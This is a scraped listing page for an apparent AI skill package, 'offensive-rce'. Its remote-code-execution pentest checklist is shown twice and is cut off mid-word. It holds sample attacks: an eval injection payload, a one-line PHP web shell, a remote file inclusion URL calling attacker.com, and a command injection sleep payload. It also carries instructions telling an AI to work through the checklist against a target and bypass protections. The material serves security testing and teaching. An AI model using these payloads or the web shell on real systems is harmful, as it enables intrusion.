offensive-rce

Name: offensive-rce
Author: SnailSploit

2.8kstars447forks

How to install offensive-rce?

snailsploit/claude-red/offensive-rce

$npx -y skills add SnailSploit/Claude-Red --skill offensive-rce

Installs into the current project.

Summary

When this skill is active: 1. Load and apply the full methodology below as your operational checklist 2. Follow steps in order unless the user specifies otherwise 3. For each technique, consider applicability to the current target/context 4. Track which checklist items have been

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Remote Code Execution
2
3	## Metadata
4	- Skill Name: rce
5	- Folder: offensive-rce
6	- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/rce.md
7
8	## Description
9	Remote Code Execution testing checklist: OS command injection, SSTI-to-RCE, deserialization RCE, file upload RCE, XXE with SSRF to RCE, RCE via dependency confusion, and CVE-based RCE patterns. Use for web app pentests and bug bounty RCE discovery.
10
11	## Trigger Phrases
12	Use this skill when the conversation involves any of:
13	`RCE, remote code execution, command injection, OS injection, SSTI RCE, deserialization RCE, file upload RCE, XXE RCE, dependency confusion, code execution`
14
15	## Instructions for Claude
16
17	When this skill is active:
18	1. Load and apply the full methodology below as your operational checklist
19	2. Follow steps in order unless the user specifies otherwise
20	3. For each technique, consider applicability to the current target/context
21	4. Track which checklist items have been completed
22	5. Suggest next steps based on findings
23
24	---
25
26	## Full Methodology
27
28	# Remote Code Execution
29
30	occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration.
31
32	## Shortcut
33
34	1. Identify suspicious user input locations. for code injections, take note of every user input location, including URL parameters, HTTP headers, body parameters, and file uploads. to find potential file inclusion vulnerabilities, check for input locations being used to inclusion vulnerabilities, check for input locations being used to determine or, construct filenames and, for file upload functions.
35	2. Submit test payloads to the input locations in order to detect potential vulnerabilities.
36	3. If your requests are blocked, try protection bypass techniques and see if your payload succeeds.
37	4. Finally, confirm the vulnerability by trying to execute harmless commands such as `whoami`, `ls`, and, `sleep 5`.
38
39	## Mechanisms
40
41	### Code Injection
42
43	This program takes a user input string, pass it through `eval()` and return the results:
44
45	```python
46	def calculate(input):
47	return eval("{}".format(input))
48
49	result = calculate(user_input.calc)
50	print("The result is {}.".format(result))
51	```
52
53	an attacker could provide the application with something more malicious instead:
54
55	```http
56	GET /calculator?calc="__import__('os').system('ls')"
57	Host: example.com
58	```
59
60	### File Inclusion
61
62	making the target server include a file containing malicious code.
63
64	```php
65	<?php
66	// Some PHP code
67
68	$file = $_GET["page"];
69	include $file;
70
71	// Some PHP code
72	?>
73	```
74
75	if the application doesn't limit which file the user includes with the page parameter, an attacker can include a malicious PHP file.
76
77	```php
78	<?PHP
79	system($_GET["cmd"]);
80	?>
81	```
82
83	and then they can run commands:
84
85	```http
86	http://example.com/?page=http://attacker.com/malicious.php?cmd=ls
87	```
88
89	### Command Injection
90
91	Untrusted data flows into OS command execution APIs.
92
93	Examples:
94
95	```python
96	subprocess.run("ping -c 1 " + user, shell=True) # vulnerable
97	subprocess.run(["ping", "-c", "1", user], shell=False) # safer
98	```
99
100	Detect via time/delay payloads (`&& sleep 5`), OAST/DNS callbacks, and out-of-band responses.
101
102	### Server-Side Template Injection (SSTI)
103
104	User-controlled template strings evaluated by template engines (Jinja2, Twig, Freemarker, Thymeleaf) can lead to RCE.
105
106	Probe with arithmetic/concat markers, escalate using engine-specific object graphs. Tools: `tplmap`.
107
108	### Insecure Deserialization
109
110	Deserializing untrusted data (Java, .NET, PHP, Python `pickle`) can trigger gadget chains to RCE.
111
112	Test with known gadget payloads (e.g., `ysoserial`, `marshalsec`), and observe blind effects via OAST.
113
114	### Unsafe YAML and Config Parsers
115
116	Loading YAML with object constructors (`yaml.load` vs `safe_load`) can lead to code execution.
117
118	### File Upload → Processing Chains
119
120	Upload parsers (ImageMagick, ExifTool, video transcoders) may execute/parse complex formats leading to RCE. Test with harmless PoCs and OAST.
121
122	## Hunt
123
124	### 1. Identify Input Vectors
125
126	Map all user-controlled input that could lead to code execution:
127
128	- Command-line argument injection: APIs that execute shell commands, CLI tools, system utilities
129	- Template engines: User-provided templates or template variables (Jinja2, Twig, Freemarker, Thymeleaf, ERB, Handlebars)
130	- File uploads: Server-side processing of images, documents, archives, media files
131	- Deserialization endpoints: APIs accepting serialized objects (Java, .NET, Python pickle, PHP serialize, Ruby Marshal)
132	- Expression Language fields: Search filters, calculations, dynamic queries (SpEL, OGNL, MVEL, EL)
133	- Webhook URLs: Server-side fetches triggered by user-supplied URLs
134	- Log file paths: Log injection leading to log processing (LogForge, Log4Shell)
135	- Configuration files: Upload or modification of config files (.htaccess, web.config, cron jobs)
136	- Email/document processing: Mail parsers, PDF generators, office document converters
137	- **Image manipulati

People who liked this also viewed

6 picks

Type

offensive-rce

2.8kstars447forks

View on GitHub

How to install offensive-rce?

snailsploit/claude-red/offensive-rce

$npx -y skills add SnailSploit/Claude-Red --skill offensive-rce

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Remote Code Execution
2
3	## Metadata
4	- Skill Name: rce
5	- Folder: offensive-rce
6	- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/rce.md
7
8	## Description
9	Remote Code Execution testing checklist: OS command injection, SSTI-to-RCE, deserialization RCE, file upload RCE, XXE with SSRF to RCE, RCE via dependency confusion, and CVE-based RCE patterns. Use for web app pentests and bug bounty RCE discovery.
10
11	## Trigger Phrases
12	Use this skill when the conversation involves any of:
13	`RCE, remote code execution, command injection, OS injection, SSTI RCE, deserialization RCE, file upload RCE, XXE RCE, dependency confusion, code execution`
14
15	## Instructions for Claude
16
17	When this skill is active:
18	1. Load and apply the full methodology below as your operational checklist
19	2. Follow steps in order unless the user specifies otherwise
20	3. For each technique, consider applicability to the current target/context
21	4. Track which checklist items have been completed
22	5. Suggest next steps based on findings
23
24	---
25
26	## Full Methodology
27
28	# Remote Code Execution
29
30	occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration.
31
32	## Shortcut
33
34	1. Identify suspicious user input locations. for code injections, take note of every user input location, including URL parameters, HTTP headers, body parameters, and file uploads. to find potential file inclusion vulnerabilities, check for input locations being used to inclusion vulnerabilities, check for input locations being used to determine or, construct filenames and, for file upload functions.
35	2. Submit test payloads to the input locations in order to detect potential vulnerabilities.
36	3. If your requests are blocked, try protection bypass techniques and see if your payload succeeds.
37	4. Finally, confirm the vulnerability by trying to execute harmless commands such as `whoami`, `ls`, and, `sleep 5`.
38
39	## Mechanisms
40
41	### Code Injection
42
43	This program takes a user input string, pass it through `eval()` and return the results:
44
45	```python
46	def calculate(input):
47	return eval("{}".format(input))
48
49	result = calculate(user_input.calc)
50	print("The result is {}.".format(result))
51	```
52
53	an attacker could provide the application with something more malicious instead:
54
55	```http
56	GET /calculator?calc="__import__('os').system('ls')"
57	Host: example.com
58	```
59
60	### File Inclusion
61
62	making the target server include a file containing malicious code.
63
64	```php
65	<?php
66	// Some PHP code
67
68	$file = $_GET["page"];
69	include $file;
70
71	// Some PHP code
72	?>
73	```
74
75	if the application doesn't limit which file the user includes with the page parameter, an attacker can include a malicious PHP file.
76
77	```php
78	<?PHP
79	system($_GET["cmd"]);
80	?>
81	```
82
83	and then they can run commands:
84
85	```http
86	http://example.com/?page=http://attacker.com/malicious.php?cmd=ls
87	```
88
89	### Command Injection
90
91	Untrusted data flows into OS command execution APIs.
92
93	Examples:
94
95	```python
96	subprocess.run("ping -c 1 " + user, shell=True) # vulnerable
97	subprocess.run(["ping", "-c", "1", user], shell=False) # safer
98	```
99
100	Detect via time/delay payloads (`&& sleep 5`), OAST/DNS callbacks, and out-of-band responses.
101
102	### Server-Side Template Injection (SSTI)
103
104	User-controlled template strings evaluated by template engines (Jinja2, Twig, Freemarker, Thymeleaf) can lead to RCE.
105
106	Probe with arithmetic/concat markers, escalate using engine-specific object graphs. Tools: `tplmap`.
107
108	### Insecure Deserialization
109
110	Deserializing untrusted data (Java, .NET, PHP, Python `pickle`) can trigger gadget chains to RCE.
111
112	Test with known gadget payloads (e.g., `ysoserial`, `marshalsec`), and observe blind effects via OAST.
113
114	### Unsafe YAML and Config Parsers
115
116	Loading YAML with object constructors (`yaml.load` vs `safe_load`) can lead to code execution.
117
118	### File Upload → Processing Chains
119
120	Upload parsers (ImageMagick, ExifTool, video transcoders) may execute/parse complex formats leading to RCE. Test with harmless PoCs and OAST.
121
122	## Hunt
123
124	### 1. Identify Input Vectors
125
126	Map all user-controlled input that could lead to code execution:
127
128	- Command-line argument injection: APIs that execute shell commands, CLI tools, system utilities
129	- Template engines: User-provided templates or template variables (Jinja2, Twig, Freemarker, Thymeleaf, ERB, Handlebars)
130	- File uploads: Server-side processing of images, documents, archives, media files
131	- Deserialization endpoints: APIs accepting serialized objects (Java, .NET, Python pickle, PHP serialize, Ruby Marshal)
132	- Expression Language fields: Search filters, calculations, dynamic queries (SpEL, OGNL, MVEL, EL)
133	- Webhook URLs: Server-side fetches triggered by user-supplied URLs
134	- Log file paths: Log injection leading to log processing (LogForge, Log4Shell)
135	- Configuration files: Upload or modification of config files (.htaccess, web.config, cron jobs)
136	- Email/document processing: Mail parsers, PDF generators, office document converters
137	- **Image manipulati

People who liked this also viewed

6 picks

Type